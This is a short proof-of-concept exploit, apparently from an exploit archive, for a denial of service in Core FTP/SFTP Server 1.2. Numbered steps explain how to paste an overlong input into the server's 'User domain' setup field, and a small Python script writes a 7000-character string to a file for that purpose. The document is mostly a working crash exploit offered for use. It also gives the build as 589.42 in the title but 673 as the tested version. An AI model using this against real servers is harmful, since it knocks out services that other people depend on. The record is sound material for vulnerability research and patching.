Core FTP/SFTP Server 1.2 Build 589.42 Denial Of Service

`#Exploit Title: Core FTP/SFTP Server 1.2 - Build 589.42 - Denial of Service (PoC)  
#Discovery by: Victor MondragA3n  
#Discovery Date: 2019-02-13  
#Vendor Homepage: http://www.coreftp.com/  
#Software Link: http://www.coreftp.com/server/download/archive/CoreFTPServer589.42.exe  
#Tested Version: v2-Build 673  
#Tested on: Windows 7 Service Pack 1 x32  
  
#Steps to produce the crash:  
#1.- Run python code: Core_FTP_SFTP_Server_1.2.py  
#2.- Open core_code.txt and copy content to clipboard  
#3.- Open Core FTP Server  
#4.- Select "Setup" > "New"  
#5.- Select "Domain Name" and Put "Test"  
#6.- Select "Domain IP/Address" and Put "1.1.1.1"   
#7.- Select "Base directory" and Choose a directory path  
#8.- Enable "WinNT users"   
#9.- Select "User domain" and Paste Clipboard  
#10.- Click on "Ok" and the next window click "Ok"  
#11.- Crashed  
  
cod = "\x41" * 7000  
  
f = open('core_code.txt', 'w')  
f.write(cod)  
f.close()  
`